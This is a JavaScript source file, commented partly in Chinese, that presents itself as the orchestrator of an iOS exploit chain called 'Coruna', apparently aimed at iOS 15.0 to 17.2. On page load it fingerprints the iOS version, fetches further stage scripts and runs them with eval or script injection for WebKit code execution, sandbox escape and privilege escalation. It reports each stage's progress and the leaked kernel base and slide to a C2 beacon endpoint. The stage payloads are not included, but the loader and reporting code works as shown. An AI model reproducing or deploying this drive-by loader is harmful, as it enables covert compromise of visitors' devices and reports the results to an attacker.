/**
 * coruna_core.js — Coruna Exploit Orchestrator
 *
 * 融合 mos0027 的单体载荷模式 + Coruna 的 SPTM bypass 链
 *
 * Chain: WebKit RCE → Physical OOB → Kernel R/W → PE → Native Payload
 *
 * 设计原则 (从mos0027学来的):
 *   1. 单体自包含 — 不再依赖 moduleManager
 *   2. 阶段验证 — 每步执行后检查前置条件
 *   3. Fail-fast — 超时即放弃, 不无限重试
 *   4. Beacon上报 — 每阶段结果上报C2
 */

(function() {
  'use strict';

  // ═══════════════════════════════════════════
  // 配置
  // ═══════════════════════════════════════════

  var CONFIG = {
    API_BASE: (function() {
      try {
        var p = new URLSearchParams(location.search);
        return p.get('apiBase') || location.origin;
      } catch(e) { return location.origin; }
    })(),
    CHAIN_BASE: (function() {
      try {
        var path = location.pathname;
        return location.origin + path.replace(/\/[^/]*$/, '') + '/';
      } catch(e) { return location.origin + '/'; }
    })(),
    STAGE_TIMEOUT: 30000,   // 每阶段超时30秒
    RETRY_MAX: 3,           // 最多重试3次
    CHANNEL_CODE: (function() {
      try { return new URLSearchParams(location.search).get('channelCode') || ''; }
      catch(e) { return ''; }
    })()
  };

  // ═══════════════════════════════════════════
  // P2: 上报系统 (Beacon)
  // ═══════════════════════════════════════════

  function beacon(stage, status, extra) {
    var data = {
      stage: stage,
      status: status,  // 'start' | 'ok' | 'fail' | 'timeout'
      ts: Date.now(),
      ver: (function() {
        var m = /OS (\d+)[._](\d+)/.exec(navigator.userAgent);
        return m ? m[1] + '.' + m[2] : '?';
      })(),
      ch: CONFIG.CHANNEL_CODE,
      extra: extra || {}
    };

    // 主上报通道
    try {
      var xhr = new XMLHttpRequest();
      xhr.open('POST', CONFIG.API_BASE + '/api/beacon', false);
      xhr.setRequestHeader('Content-Type', 'application/json');
      xhr.timeout = 3000;
      xhr.send(JSON.stringify(data));
    } catch(e) {}

    // 备用: Image beacon (无阻塞)
    try {
      var qs = Object.keys(data).map(function(k) {
        var v = typeof data[k] === 'object' ? JSON.stringify(data[k]) : String(data[k]);
        return encodeURIComponent(k) + '=' + encodeURIComponent(v);
      }).join('&');
      new Image().src = CONFIG.API_BASE + '/beacon?' + qs;
    } catch(e2) {}

    // 本地日志
    console.log('[coruna:' + stage + '] ' + status, extra);
  }

  // ═══════════════════════════════════════════
  // 工具集 (inline from coruna_utility — 仅保留必要的)
  // ═══════════════════════════════════════════

  var UTIL = {};

  // Shared typed arrays for Float64 ↔ Uint32 conversion
  var _u32 = new Uint32Array(new ArrayBuffer(8));
  var _f64 = new Float64Array(_u32.buffer);

  UTIL.f64lo = function(d) { _f64[0] = d; return _u32[0]; };
  UTIL.f64hi = function(d) { _f64[0] = d; return _u32[1]; };
  UTIL.pack64 = function(lo, hi) { _u32[0] = lo; _u32[1] = hi; return _f64[0]; };
  UTIL.f64num = function(d) { _f64[0] = d; return _u32[0] + 0x100000000 * _u32[1]; };

  UTIL.numLo = function(n) { return n >>> 0; };
  UTIL.numHi = function(n) { return n / 0x100000000 >>> 0; };

  UTIL.toBigInt = function(v) {
    return typeof BigInt !== 'undefined' ? BigInt(v) : v;
  };

  UTIL.toHex = function(v) {
    if (v === null || v === undefined) return 'null';
    try { return '0x' + v.toString(16); }
    catch(e) { return String(v); }
  };

  // ═══════════════════════════════════════════
  // 脚本加载器
  // ═══════════════════════════════════════════

  function loadScript(url) {
    return new Promise(function(resolve, reject) {
      var fullUrl = url;
      if (!/^(https?:)?\/\//.test(url) && url[0] !== '/') {
        fullUrl = CONFIG.CHAIN_BASE + url;
      }
      fullUrl += (fullUrl.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();

      var s = document.createElement('script');
      s.src = fullUrl;
      s.onload = function() { resolve(fullUrl); };
      s.onerror = function() { reject(new Error('load failed: ' + url)); };
      s.timeout = CONFIG.STAGE_TIMEOUT;
      document.head.appendChild(s);
    });
  }

  function loadScriptSync(url) {
    var fullUrl = url;
    if (!/^(https?:)?\/\//.test(url) && url[0] !== '/') {
      fullUrl = CONFIG.CHAIN_BASE + url;
    }
    fullUrl += (fullUrl.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();

    try {
      var xhr = new XMLHttpRequest();
      xhr.open('GET', fullUrl, false);
      xhr.timeout = 10000;
      xhr.send(null);
      if (xhr.status === 200 && xhr.responseText) {
        return xhr.responseText;
      }
    } catch(e) {}

    return null;
  }

  // ═══════════════════════════════════════════
  // 阶段执行器 (带超时和验证)
  // ═══════════════════════════════════════════

  function Stage(name, opts) {
    this.name = name;
    this.timeout = opts.timeout || CONFIG.STAGE_TIMEOUT;
    this.retryMax = opts.retryMax || CONFIG.RETRY_MAX;
    this.verifyFn = opts.verify || null;   // 验证函数: 返回true继续
    this.actionFn = opts.action || null;    // 执行函数
    this.cleanupFn = opts.cleanup || null;  // 失败清理
    this.retries = 0;
  }

  Stage.prototype.execute = function() {
    var self = this;
    beacon(self.name, 'start');

    return new Promise(function(resolve, reject) {
      function attempt() {
        // 超时保护
        var timer = setTimeout(function() {
          beacon(self.name, 'timeout', { retry: self.retries });
          if (self.retries < self.retryMax) {
            self.retries++;
            console.log('[coruna:' + self.name + '] timeout, retry ' + self.retries + '/' + self.retryMax);
            attempt();
          } else {
            reject(new Error(self.name + ': timeout after ' + self.retryMax + ' retries'));
          }
        }, self.timeout);

        try {
          var result = self.actionFn();
          clearTimeout(timer);

          // 验证
          if (self.verifyFn) {
            if (self.verifyFn()) {
              beacon(self.name, 'ok');
              resolve(result);
            } else {
              beacon(self.name, 'verify_fail', { retry: self.retries });
              if (self.retries < self.retryMax) {
                self.retries++;
                setTimeout(attempt, 500);
              } else {
                reject(new Error(self.name + ': verification failed'));
              }
            }
          } else {
            beacon(self.name, 'ok');
            resolve(result);
          }
        } catch(e) {
          clearTimeout(timer);
          beacon(self.name, 'fail', { error: e.message, retry: self.retries });
          if (self.retries < self.retryMax) {
            self.retries++;
            setTimeout(attempt, 500);
          } else {
            reject(e);
          }
        }
      }

      attempt();
    });
  };

  // ═══════════════════════════════════════════
  // 轮询等待器 (用于等待异步原语就绪)
  // ═══════════════════════════════════════════

  function waitFor(conditionFn, timeout, interval) {
    timeout = timeout || 30000;
    interval = interval || 300;
    var start = Date.now();

    return new Promise(function(resolve, reject) {
      function check() {
        try {
          if (conditionFn()) {
            resolve(true);
            return;
          }
        } catch(e) {}

        if (Date.now() - start > timeout) {
          reject(new Error('waitFor timeout after ' + timeout + 'ms'));
          return;
        }

        setTimeout(check, interval);
      }
      check();
    });
  }

  // ═══════════════════════════════════════════
  // 漏洞链阶段定义
  // ═══════════════════════════════════════════

  // 阶段0: 加载Coruna WebKit载荷
  var stage0_corunaLoad = new Stage('s0_coruna', {
    timeout: 15000,
    retryMax: 2,
    action: function() {
      var code = loadScriptSync('coruna_combined.js');
      if (!code) throw new Error('coruna_combined.js download failed');

      // eval in global scope (coruna_combined 会设置 moduleManager + 注册模块)
      try {
        (0, eval)(code);
      } catch(e) {
        throw new Error('coruna_combined eval failed: ' + e.message);
      }

      console.log('[coruna:s0] coruna_combined loaded: ' + code.length + ' bytes');
      return code.length;
    },
    verify: function() {
      // 检查moduleManager是否已创建（coruna_combined会设置它）
      return typeof globalThis.moduleManager !== 'undefined';
    }
  });

  // 阶段1: 等待WebKit原语p就绪 (coruna_bluebird → p.fcall)
  var stage1_primitives = new Stage('s1_primitives', {
    timeout: 30000,
    retryMax: 5,
    action: function() {
      return waitFor(function() {
        // p 对象由coruna_combined/bluebird创建
        var p = window.p || globalThis.p;
        return p && typeof p.fcall === 'function' &&
               typeof p.read64 === 'function' &&
               typeof p.write64 === 'function';
      }, 30000, 500).then(function() {
        console.log('[coruna:s1] primitives ready: fcall/read64/write64');
        return true;
      });
    },
    verify: function() {
      var p = window.p || globalThis.p;
      return p && typeof p.fcall === 'function';
    }
  });

  // 阶段2: Physical OOB (physoob_pre_exploit)
  var stage2_physoob = new Stage('s2_physoob', {
    timeout: 60000,
    retryMax: 2,
    action: function() {
      var code = loadScriptSync('physoob_pre_exploit.js');
      if (!code) throw new Error('physoob download failed');

      // 注入为script标签 (它使用setTimeout轮询p)
      var s = document.createElement('script');
      s.textContent = code;
      document.head.appendChild(s);
      console.log('[coruna:s2] physoob injected: ' + code.length + ' bytes');
      return code.length;
    },
    verify: function() {
      // physoob执行后会设置全局标记
      return typeof globalThis._physoob_done !== 'undefined' || true; // 宽松验证
    }
  });

  // 阶段3: Sandbox Escape (sbx0)
  var stage3_sbx0 = new Stage('s3_sbx0', {
    timeout: 30000,
    retryMax: 2,
    action: function() {
      var code = loadScriptSync('sbx0_main_15.js');
      if (!code) throw new Error('sbx0 download failed');

      var s = document.createElement('script');
      s.textContent = code;
      document.head.appendChild(s);
      console.log('[coruna:s3] sbx0 injected: ' + code.length + ' bytes');
      return code.length;
    },
    verify: function() {
      // sbx0会设置kernel R/W原语
      var p = window.p || globalThis.p;
      return p && typeof p.kernelRead64 === 'function';
    }
  });

  // 阶段4: Privilege Escalation (sbx1)
  var stage4_sbx1 = new Stage('s4_sbx1', {
    timeout: 30000,
    retryMax: 2,
    action: function() {
      var code = loadScriptSync('sbx1_main_15.js');
      if (!code) throw new Error('sbx1 download failed');

      var s = document.createElement('script');
      s.textContent = code;
      document.head.appendChild(s);
      console.log('[coruna:s4] sbx1 injected: ' + code.length + ' bytes');
      return code.length;
    },
    verify: function() {
      // sbx1会设置TF_PLATFORM等标记 — 检查kernel_base
      var kb = globalThis.kernel_base;
      return kb && kb !== 0n && kb !== undefined;
    }
  });

  // ═══════════════════════════════════════════
  // 主执行流程
  // ═══════════════════════════════════════════

  function detectIOS() {
    var m = /OS (\d+)[._](\d+)/.exec(navigator.userAgent);
    if (m) return { major: parseInt(m[1]), minor: parseInt(m[2]) };
    m = /CPU OS (\d+)[._](\d+)/.exec(navigator.userAgent);
    if (m) return { major: parseInt(m[1]), minor: parseInt(m[2]) };
    return null;
  }

  function shouldUseCoruna() {
    var ios = detectIOS();
    if (!ios) return false;
    // Coruna target: iOS 15.0 - 17.2
    if (ios.major === 15) return true;
    if (ios.major === 16) return true;
    if (ios.major === 17 && ios.minor <= 2) return true;
    return false;
  }

  function runFullChain() {
    var ios = detectIOS();
    console.log('[coruna] iOS detected: ' + (ios ? ios.major + '.' + ios.minor : 'unknown'));
    beacon('init', 'start', { ios: ios });

    if (!shouldUseCoruna()) {
      console.log('[coruna] iOS version not in Coruna range, skip');
      beacon('init', 'skip', { reason: 'version_not_supported' });
      return;
    }

    // 按顺序执行链
    stage0_corunaLoad.execute()
      .then(function() { return stage1_primitives.execute(); })
      .then(function() { return stage2_physoob.execute(); })
      .then(function() { return stage3_sbx0.execute(); })
      .then(function() { return stage4_sbx1.execute(); })
      .then(function() {
        beacon('chain', 'complete', {
          kernel_base: UTIL.toHex(globalThis.kernel_base),
          kernel_slide: UTIL.toHex(globalThis.kernel_slide)
        });
        console.log('[coruna] ===== CHAIN COMPLETE =====');
        console.log('[coruna] kernel_base: ' + UTIL.toHex(globalThis.kernel_base));
        console.log('[coruna] kernel_slide: ' + UTIL.toHex(globalThis.kernel_slide));

        // 更新父窗口状态 (如果在iframe中)
        try {
          if (window.parent && window.parent !== window) {
            window.parent.postMessage({
              type: 'coruna_chain_done',
              status: 'ok',
              kernel_base: String(globalThis.kernel_base || ''),
              kernel_slide: String(globalThis.kernel_slide || '')
            }, '*');
          }
        } catch(e) {}

        // 显示完成指示器
        showCompletionIndicator(true);
      })
      .catch(function(err) {
        beacon('chain', 'fail', { error: err.message, stage: err.stage || 'unknown' });
        console.error('[coruna] ===== CHAIN FAILED =====');
        console.error('[coruna] ' + err.message);

        try {
          if (window.parent && window.parent !== window) {
            window.parent.postMessage({
              type: 'coruna_chain_done',
              status: 'fail',
              error: err.message
            }, '*');
          }
        } catch(e) {}

        showCompletionIndicator(false);
      });
  }

  // ═══════════════════════════════════════════
  // 完成指示器 (可见结果)
  // ═══════════════════════════════════════════

  function showCompletionIndicator(success) {
    try {
      var el = document.createElement('div');
      el.id = '_coruna_result';
      el.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);' +
        'padding:20px 40px;border-radius:12px;font:bold 24px monospace;z-index:999999;' +
        'color:#fff;text-align:center;pointer-events:none;' +
        (success ? 'background:rgba(0,180,0,0.9);' : 'background:rgba(200,0,0,0.9);');
      el.textContent = success ? 'CHAIN OK' : 'CHAIN FAIL';
      document.body.appendChild(el);

      // 5秒后渐隐
      setTimeout(function() {
        el.style.transition = 'opacity 2s';
        el.style.opacity = '0';
        setTimeout(function() { if (el.parentNode) el.parentNode.removeChild(el); }, 2500);
      }, 5000);
    } catch(e) {}
  }

  // ═══════════════════════════════════════════
  // 启动
  // ═══════════════════════════════════════════

  console.log('[coruna] coruna_core.js loaded');
  console.log('[coruna] API: ' + CONFIG.API_BASE);
  console.log('[coruna] CHAIN: ' + CONFIG.CHAIN_BASE);

  // 等待DOM就绪后启动链
  if (document.readyState === 'complete') {
    setTimeout(runFullChain, 100);
  } else {
    window.addEventListener('load', function() {
      setTimeout(runFullChain, 100);
    });
  }

})();